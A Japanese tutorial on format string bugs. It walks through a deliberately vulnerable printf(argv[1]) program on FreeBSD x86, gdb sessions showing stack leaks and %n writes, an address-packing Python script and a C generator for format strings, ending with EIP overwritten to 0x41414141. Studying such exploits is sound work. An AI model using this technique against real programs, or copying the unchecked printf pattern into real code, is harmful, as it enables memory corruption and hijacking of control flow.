フォーマットストリングバグ(format bug)を試してみる。

 今回はフォーマットストリングバグ(format bug)について書きます。わりとマイナーな脆弱性で現在ではほとんどみないのですが、技術的に興味深いものなので知ってても損はないと思います。テスト環境はFreeBSD8.3(x86)です。

 ターゲットとなるプログラムはこんな感じです。

// sample10.c
#include <stdio.h>

int main(int argc, char *argv[])
{
    printf(argv[1]); // printf("%s", argv[1]);
    return 0;
}

 本当なら(コメントにあるように)%sを使ってargv[1]を出力するのですが、それをそのままprintfに渡しています。ただ、これでも基本的には普通に動作します。

$ gcc sample10.c -o sample10
$ ./sample10 AAAA
AAAA$

 でもargv[1]をそのまま渡しているので、こんな感じに書くとスタックにある値が出力されます。

$ ./sample10 AAAA%x
AAAAbfbfec90$

 スタックにある値が出力されるだけならまだよいのですが(いやダメだけど)、そこに書き込みできたらちょっとやばいですよね。でも出来るんです! そう%nならね。

$ gdb sample10
GNU gdb 6.1.1 [FreeBSD]
(gdb) disas main
Dump of assembler code for function main:
0x08048440 <main+0>:    lea    0x4(%esp),%ecx
0x08048444 <main+4>:    and    $0xfffffff0,%esp
0x08048447 <main+7>:    pushl  0xfffffffc(%ecx)
0x0804844a <main+10>:   push   %ebp
0x0804844b <main+11>:   mov    %esp,%ebp
0x0804844d <main+13>:   push   %ecx
0x0804844e <main+14>:   sub    $0x4,%esp
0x08048451 <main+17>:   mov    0x4(%ecx),%eax
0x08048454 <main+20>:   add    $0x4,%eax
0x08048457 <main+23>:   mov    (%eax),%eax
0x08048459 <main+25>:   mov    %eax,(%esp)
0x0804845c <main+28>:   call   0x80482ec <_init+52> ■break
0x08048461 <main+33>:   mov    $0x0,%eax            ■break
0x08048466 <main+38>:   add    $0x4,%esp
0x08048469 <main+41>:   pop    %ecx
0x0804846a <main+42>:   pop    %ebp
0x0804846b <main+43>:   lea    0xfffffffc(%ecx),%esp
0x0804846e <main+46>:   ret
0x0804846f <main+47>:   nop
End of assembler dump.
(gdb) b *0x0804845c
Breakpoint 1 at 0x804845c
(gdb) b *0x08048461
Breakpoint 2 at 0x8048461
(gdb) r AAAA%n ■%nを引数に
Starting program: /usr/home/guest/sample10 AAAA%n
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x0804845c in main ()
(gdb) x/32x $esp
0xbfbfec40:  0xbfbfedf9 ->0xbfbfec60   0xbfbfec78   0x080483c7
0xbfbfec50:  0x00000000   0x00000000   0xbfbfec78   0x080483c7
0xbfbfec60:->0x00000002   0xbfbfeca4   0xbfbfecb0   0xbfbfec90
(gdb) x/1s 0xbfbfedf9
0xbfbfedf9: "AAAA%n"
(gdb) c
Continuing.
Breakpoint 2, 0x08048461 in main ()
(gdb) x/32x $esp
0xbfbfec40:  0xbfbfedf9 ->0xbfbfec60   0xbfbfec78   0x080483c7
0xbfbfec50:  0x00000000   0x00000000   0xbfbfec78   0x080483c7
0xbfbfec60:->0x00000004   0xbfbfeca4   0xbfbfecb0   0xbfbfec90
(gdb)

 0xbfbfec60の値が0x00000002から0x00000004へ変わっています。%nについてはprintfの変換指定子を確認しましょう。

%n: これまでに出力された文字数を int * (または類似の型) のポインタ引き数が指す整数に保存する。

 つまりprintfの第一引数0xbfbfedf9、第二引数0xbfbfec60となっており、第一引数は当然"AAAA%n"のアドレスです。第一引数には%nが入っているので第二引数(0xbfbfec60)を書き込み先アドレスと認識して、結果0xbfbfec60の値が0x00000002から0x00000004へ変わったわけです。0x00000004はこれまで出力された"AAAA"の文字数ですね。

 変換指定子は%nのみだったので書き込み対象は第二引数が指す先でしたが、何番目の引数を使うかは選択できるため(12番目の引数を使いたいばあいは)%12\$nと書くことで自由に変更できます。

 さて、書きかえたいのはアドレス0xbfbfec5cの値(0x080483c7)、つまりmainからのリターン先です。でもスタックには0xbfbfec5cという値そのものがないので、環境変数を使ってこの値をスタックへいれます。

#!/usr/bin/python
# exploitenv.py

import sys
import struct
#import binascii

num = int(sys.argv[1], 16)

i = 0
x = ""

while i < 4:
    x += struct.pack('<L', num + i)
    i += 1

print x
#print binascii.b2a_hex(x)
$ ADDR=AAA`python exploitenv.py bfbfec5c`
$ export ADDR

 先頭のAAAはサイズ調整用です。4バイト単位(アラインメント)でメモリに配置されてほしいので。

 %nはこれまでに出力された文字数を数値としてメモリへ書き出しますが、じゃあ0xbfbfXXXXみたいな巨大なサイズ(GB単位)の文字列を%nの前に出力するのかという問題があるため、%nで0xbfbfXXXXみたいな数値は扱えなさそうです。そこで、4バイト一気に書き込むのではなく、1バイトずつ4回にわけて書き込むことで対応します。よって、0xbfbfec5c、0xbfbfec5d、0xbfbfec5e、0xbfbfec5fを環境変数ADDRへいれます。

$ gdb sample10
GNU gdb 6.1.1 [FreeBSD]
(gdb) b main
Breakpoint 1 at 0x8048440
(gdb) r AAAA
Breakpoint 1, 0x08048440 in main ()
(gdb) x/32x $esp
(省略)
0xbfbfef4c:  0x32203433   0x494c0032   0x3d53454e   0x46003533
0xbfbfef5c:  0x505f5054   0x49535341   0x4d5f4556   0x3d45444f
0xbfbfef6c:  0x00534559   0x52444441   0x4141413d ->0xbfbfec5c
0xbfbfef7c:->0xbfbfec5d ->0xbfbfec5e ->0xbfbfec5f   0x49444500

 gdbから環境変数ADDRとしてさきほどいれたデータがあるのが確認できます(0xbfbfef78)。あとはこれらのアドレスに対して、1バイトずつ%nしていけばOKです。

// exploitfms.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char fmtstr[256];
    unsigned int value[4];

    unsigned long val;
    unsigned int offset, i;

    if(argc < 3){
        fprintf(stderr, "Usage: %s <value> <offset>\n", argv[0]);
        exit(-1);
    }

    val = strtoul(argv[1], NULL, 16);
    offset = atoi(argv[2]);

    for(i=0; i < 4; i++){
        value[i] = (val >> i * 8) & 0xff;
    }

    sprintf(fmtstr, 
        "%%%dx%%%d\\$n%%%dx%%%d\\$n%%%dx%%%d\\$n%%%dx%%%d\\$n",
        value[0]            + 0x100, offset+0,
        value[1] - value[0] + 0x100, offset+1,
        value[2] - value[1] + 0x100, offset+2,
        value[3] - value[2] + 0x100, offset+3);

    printf("%s\n", fmtstr);
    return 0;
}

 valueが書き込みたい値、offsetがprintfが呼ばれる時点での第二引数からの(距離/4)+1です。valueはとりあえず0x41414141にします。offsetは環境変数ADDRとしてセットした値があるのがアドレス0xbfbfef78、第二引数があるのがアドレス0xbfbfec40だったので、((0xbfbfef78 - 0xbfbfec40) / 4) + 1 = 207(10進数)となります。

$ gcc exploitfms.c -o exploitfms
$ ./exploitfms 0x41414141 207
%321x%207\$n%256x%208\$n%256x%209\$n%256x%210\$n
$ gdb sample10
GNU gdb 6.1.1 [FreeBSD]
(gdb) b * 0x0804845c
Breakpoint 1 at 0x804845c
(gdb) r %321x%207\$n%256x%208\$n%256x%209\$n%256x%210\$n
Starting program: /usr/home/guest/sample10 
%321x%207\$n%256x%208\$n%256x%209\$n%256x%210\$n
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x0804845c in main ()
(gdb) x/32x $esp
0xbfbfec00:  0xbfbfedb9 ->0xbfbfec20   0xbfbfec38   0x080483c7
0xbfbfec10:  0x00000000   0x00000000   0xbfbfec38 ->0x080483c7
0xbfbfec20:  0x00000002   0xbfbfec60   0xbfbfec6c   0xbfbfec40
(省略)
0xbfbfef50:  0x494c0032   0x3d53454e   0x46003533   0x505f5054
0xbfbfef60:  0x49535341   0x4d5f4556   0x3d45444f   0x00534559
0xbfbfef70:  0x52444441   0x4141413d ->0xbfbfec5c ->0xbfbfec5d
(gdb)
0xbfbfef80:->0xbfbfec5e ->0xbfbfec5f   0x49444500   0x3d524f54

 引数のサイズが変わりアドレスがずれたので、もう一度再計算します。上書きしたいアドレスは0xbfbfec1c、第二引数からのoffsetは((0xbfbfef78 - 0xbfbfec04) / 4) + 1 = 222(10進数)。

$ ADDR=AAA`python exploitenv.py bfbfec1c`
$ export ADDR
$ ./exploitfms 0x41414141 222
%321x%222\$n%256x%223\$n%256x%224\$n%256x%225\$n
$ gdb sample10
GNU gdb 6.1.1 [FreeBSD]
(gdb) r %321x%222\$n%256x%223\$n%256x%224\$n%256x%225\$n
Starting program: /usr/home/guest/sample10 
%321x%222\$n%256x%223\$n%256x%224\$n%256x%225\$n
(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r $eip
eip            0x41414141       0x41414141
(gdb)

 めでたくeipを上書きできました。

 以上がフォーマットストリングバグの基本となります。

 フォーマットストリングバグは、バグそのものはとても単純なもので、知ってしまえばすぐに修正できます。しかし興味深いのはその攻撃方法で、printfへ渡すデータの操作を許しただけでeipを奪うところまでいけるというのは、素直に技術として面白いと感じます。そういう意味でも知っておいて損はないのではないかと思います。

 あと最後にひとことだけ。

 %nってExploiting以外の使い道ってあるの?